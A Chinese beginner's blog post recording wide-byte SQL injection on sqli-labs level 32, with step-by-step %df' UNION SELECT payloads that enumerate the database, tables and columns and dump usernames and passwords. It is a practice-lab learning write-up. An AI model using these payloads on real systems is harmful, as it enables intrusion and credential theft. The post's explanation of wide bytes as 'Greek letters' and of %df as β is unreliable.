sql注入之宽字节注入的学习记录

本人小白一个,如果有错误的地方希望大佬可以指出,有疑问也可以在评论区留言我们可以一起探讨学习。

sql注入之宽字节注入

先来了解什么是宽字节

在不同的语言中不同的文字所占有的字节是不同的

英文与数字只占用一个字节

我们可以看到在文档中我写入了一个字母在属性中可以看到所占字节为1

如果是汉字呢?

可以看到变成了三个字节。

然后在英文数字与汉字之间还存在一种只占用两个字节的希腊字母,而我们的宽字节注入就是需要使用希腊字母来进行解析为不同的内容,从而影响SQL语句的结构和执行结果。

 现在我们可以打开sqli-labs的第32关来进行我们的一个测试

?id=0' order by 3--+

是不是会发现我们的注释符单引号被’\‘转义了,达不到我们闭合的一个目的了。在这种情况下无论如何我们都不可能进行一个注入。

我的理解是要将转义字符使用宽字节给挤掉。

第一步:注出数据库

?id=0%df' order by 4--+

在语句中%df是β的url编码

可以看到现在会进行一个正常的报错了吧。

?id=0%df' union select 1,database(),3--+

我们是不是就得到了数据库

第二步:注出数据库中的表

?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

第三步:注出数据库中的表中的列

这里我们依旧选择含有个人敏感信息的users表

?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3 --+

第四步:读取个人敏感信息

?id=0%df' union select 1,group_concat(username ,0x7e, password),3 from security.users--+

 总结一下

其实大家去多看看宽字节注入的sqli-libs的大佬题解就会发现一个问题:大佬们基本上只教给你如何注出数据库,后面的都没有进行一个演示,只是告诉你正常注出即可。

这就导致了一个问题。

?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

为什么我明明是一个正常的注入但是会报错呢,是不是因为后面有单引号导致的呢?

是的,那么我们可以通过%df将后面的单引号进行一个挤掉来注出呢?

?id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= %df'security%df'),3--+

答案是不行。

如果师傅看过我前面的文章就会发现在这次注入中我所使用的语句和之前常用的有所不同。那是为了去掉后面存在单引号进行的一个影响。

当时我在学习sql注入中被这个问题困惑很久,希望可以对各位师傅们产生一定的帮助。

无需凭借风势,望汝直上云霄。

  • 6
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值